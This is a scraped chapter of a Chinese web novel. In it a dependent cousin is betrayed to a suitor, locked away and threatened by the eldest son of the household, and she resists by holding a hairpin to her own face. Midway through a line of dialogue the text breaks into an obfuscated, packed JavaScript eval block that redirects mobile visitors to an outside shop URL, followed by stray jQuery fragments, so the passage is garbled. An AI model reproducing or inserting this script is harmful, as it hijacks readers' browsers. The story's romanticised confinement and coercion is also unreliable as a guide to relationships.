5. 第五章

作品:《丹青美人

    周妙雅霎时想到那日文二郎对自己的威胁,让她去告,看老太太会信谁…


    确实,寄人篱下,多一事不如少一事,更何况是文大郎那般被文家寄予厚望的未来家主,岂是她能告的了的?


    周妙雅对白芷摇了摇头,无奈说道:“老太太年纪大了,身体不好,经不得刺激。况且我们无凭无据,他又没真的把我怎么样,老太太岂会相信我?”


    她说罢这话,竟感觉一股彻骨的绝望。在这偌大的文家,她竟然连一个能求救的人都找不到。


    主仆二人相对垂泪,小小的房间里弥漫着无助又悲伤的气息。


    ————


    自那日荷花宕惊鸿一瞥,李员外家的小公子便似丢了魂一般,日思夜想的皆是周妙雅惊惶垂泪、我见犹怜的风姿。几番寻了由头往文府递帖打探,却皆被文毓瑾以舍妹体弱静养为由,不软不硬地挡了回去,连门槛都未能踏入。


    百爪挠心之下,这纨绔子弟竟又去寻了文二郎帮忙,酒楼雅间内,李公子屏退左右,直接将一匣黄澄澄的金锭推了过去,脸上是掩不住的急切与垂涎:“文二兄,小弟就开门见山了,那日贵府那位…仙子般的妹妹,不知可否……”


    文毓瑜看着那足色赤金,眼中贪婪与恶毒交织。他正嫉恨周妙雅入骨,更乐得给那高高在上的大哥添堵,全然忘了被打到刚刚愈合的伤口。


    他把玩着金锭,扯出个暧昧阴损的笑:“李兄倒是痴情种,只是我家那位妹妹,实属难得一见呐…”


    见对方急不可耐,他方才故作神秘地压低嗓音:“倒是巧了…听闻后日是她为祖父冥寿独自前往寒山寺静斋祈福的日子,唉…我也是听下人们碎嘴一句,做不得准,做不得准。”


    他嘴上说着,眼神却意有所指地瞟向那匣金子。


    李公子霎时便听明白了,喜得抓耳挠腮,他心领神会,将金锭尽数推过:“多谢文二兄成全。”


    ———


    苏州城外的寒山寺古柏参天,香火缭绕中自有一派清寂。


    周妙雅依循旧例,只带了白芷一人,于后院静斋焚香祝祷。青烟袅袅中,她合十闭目,神色虔诚静穆,浑然不觉一道贪婪炽热的目光已黏附在自己身上。


    祈完福,她拿起经卷,正欲起身,蓦然抬眼,竟见那李公子正倚在廊柱旁,锦衣折扇,眼神直勾勾毫不避讳,嘴角噙着志在必得的笑意。


    周妙雅吓得魂飞魄散,手中的经卷险些落地,她慌忙拉起白芷,几乎是落荒而逃,裙裾拂过门槛,荡起一阵惊慌失措。


    此事如何能瞒得过文毓瑾?


    周妙雅的马车还在回府的路上,文毓瑾已得下人的密报。


    “砰!”


    一盏价值不菲的天青釉茶盏被狠狠摔碎在地上,瓷片四溅。


    好!好得很!


    他不过稍未看紧,她便又出去招摇,竟又引得那姓李的堵上门来。


    一股暴戾的妒火瞬间焚过他的天灵盖。想到那些肮脏目光可能玷污她的纯净,他便恨不能立刻将那姓李的纨绔眼珠子剜出来。


    周妙雅根本不知,她顶着那副清丽艳极的容貌在外行走,本身就是一种无声而致命的引诱,她合该被彻底珍藏,隔绝一切妄念,只容他文毓瑾一人独赏。


    锁起来,必须彻底锁起来。


    此念一生,便如毒蔓疯长,缠绕心窍,他要筑一座金丝笼,一处唯有他知道的、绝对隐秘的所在,将她细细藏起来。


    文家园林深处的听雨轩倒是个好地方,文毓瑾仔细思量着,那是文老太爷生前清净读书的地方,除了他,现在几乎无人踏足此地。


    他立刻命人去将听雨轩的门窗加固,又找来了文府中口不能言、耳不能听的老实哑仆。


    周妙雅这边前脚刚一踏入府门,还没来得及去拜见老太太,就被几名壮汉家丁径直抓去了听雨轩。


    那几名壮汉家丁正是文毓瑾的人,他们不由分说地将门窗轰然闩死,白芷也不知道被他们带去了哪。


    周妙雅用力拍打厚重的门板,哭喊着哀求,直到掌心通红,嗓音嘶哑,回应她的,只有穿堂而过的冷风,以及窗外那个如同泥塑木雕般的哑仆。


    每日,只有一只枯槁的手通过门下特制的小窗,沉默地递入勉强果腹的粗糙饭食,那短暂的开启,成了她与外界唯一的联系。


    她如同被遗弃一般,被困在这方寸之地,日夜被无声的恐惧啃噬,她不知罪在何处,更忧心不知所踪的白芷。


    夜里,风声呜咽,吹过竹林,仿佛鬼魅低语,任何一点细微的声响都让她惊坐而起,心脏狂跳不止。


    她吃不下,睡不着,抱着双膝蜷缩在冰冷的榻上,泪水早已流干,只剩下冰冷的的茫然。


    她不明白,自己安分守己,谨小慎微,为何灾祸总是如影随形,她更不明白,那个平日里温文尔雅、被寄予厚望的文家大郎,为何总是对她露出如此狰狞恐怖、蛮不讲理的一面…


    文老太太连日不见周妙雅,念叨不已,文毓瑾只温言回禀:“雅妹妹自寒山寺归来便不慎染了风寒,病气重,怕过了病气给祖母,需静养些时日。”


    他言辞恳切,滴水不漏。


    整整五日,周妙雅在惶惑、孤寂与冰冷的恐惧中煎熬。


    第六日黄昏,门闩终被拉开。


    逆光中,文毓瑾一身天青色直裰,身姿挺拔如松,面容温润如玉,缓步踏入。


    他仿佛不是来释放囚/徒的,而是闲庭信步。


    周妙雅却如惊弓之鸟,猛地蜷缩后退,脊背重重撞上冷墙,眼中瞬间盈满惊惧的泪水。


    文毓瑾目光扫过未动的膳食与空白的宣纸,落在她苍白瘦削的小脸上,微微蹙眉,复又舒展。


    他俯身逼近,阴影将她完全笼罩,语气温和得令人毛骨悚然:“静思五日,可曾…长了记性?”


    “记性?”


    周妙雅泪如雨下,声音破碎不堪:“我…我做错了什么?为何关我?白芷呢?求大哥哥让我见祖母…”


    文毓瑾眼底那点伪装的温和顷刻褪尽,覆上冰冷寒霜,他猛地抬手,冰凉的指腹狠狠擦过周妙雅滚烫的泪痕,随即捏住她的下巴,迫使她抬头。


    “看来,你仍是冥顽不灵。”


    他声音骤冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922315|192608||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“寒山寺的李公子,看得可还称心?是否觉得,离了我文家的庇护,自有狂蜂浪蝶为你倾心?”


    “不!我没有!是他…”她急声辩白,却被他指尖用力按唇止住。


    “你有无意愿,并不紧要。”


    他眼神幽深如寒潭,一字一句,诛心刺骨:“紧要的是,因你之故,招来觊觎,因你这张脸,引来祸端。”


    “此,便是你的原罪。”


    他俯下身,靠得极近,气息喷在她脸上,却带着彻骨的寒意,声音压得极低,却如同最恶毒的诅咒:


    “今日我便与你说明白,从今往后,你给我牢牢记住,安分待在深闺,收起你那些不该有的心思。若再让我知晓你顶着这副皮囊出去招摇,若再让我看到有任何一个男人,像那姓李的一般对你露出半点痴迷觊觎之色…”


    他顿了顿,眼中掠过一丝残忍的幽光,语气轻柔却令人毛骨悚然:


    “下一次,就绝不是在听雨轩关五天这么简单了,我有的是法子,让你,还有那个不知死活的狂蜂浪蝶,都彻底明白,谁才是你的主宰,而你,又该属于谁。”


    “今日放你,是因祖母思念。”


    他语气恢复淡漠:“该如何回话,你当知晓。”


    “我不明白,也不知晓。”周妙雅不知从哪里生出一丝反骨,可能是因为祖父生前日日教导文人的骨气,在祖父昔日的书房里,让她生出了这份勇气。


    文毓瑾眉头骤然锁紧,眼底闪过一丝极快的意外,他没想到她会开口,更没想到是这般语气。


    周妙雅没有给他打断的机会,她的目光缓缓扫过这间祖父昔日在此静坐读书,如今却沦为囚/室的屋子,声音里带上了一丝极淡的讥诮:“就因为我这副皮囊?因为它招来了不该有的目光,所以它便成了我的原罪?”


    “若真是如此,若这张脸真的是万恶之源、灾祸之引…”


    她的话语猛地顿住。


    下一秒,她猝不及防地抬手,瞬间拔下了发间的金钗,尖锐的簪尾死死抵在自己光滑的脸颊上:


    “那大哥哥为何不直接毁了它?”


    她的手臂因用力而微微颤抖,眼神却死死盯着文毓瑾。


    文毓瑾彻底愣住了。


    他预想过她的哭泣、她的顺从、她的恐惧,甚至她的沉默,却独独没有预想到眼前这般惨烈决绝的景象。


    她竟然…竟然要用毁容来反抗他?


    “你疯了!”他厉声喝道,下意识地上前一步,想要阻止,却又忌惮她此刻失控的状态反而弄巧成拙,他生怕他再上前一步,周妙雅那簪头会真的扎下去,渗出血花。


    寂静。


    死一般的寂静在室内蔓延。


    “好…很好。”


    他终于开口,声音低沉得可怕,每一个字都像是从齿缝间挤出来的:“周妙雅,我倒是小瞧你了。”


    “但这世上,多的是让倔骨头低头的方法。你这点可怜的硬气,只会让你摔得更惨。”


    “我们…走着瞧。”


    他不再多言,猛地转身,衣袍带起一阵冷厉的风,大步离去。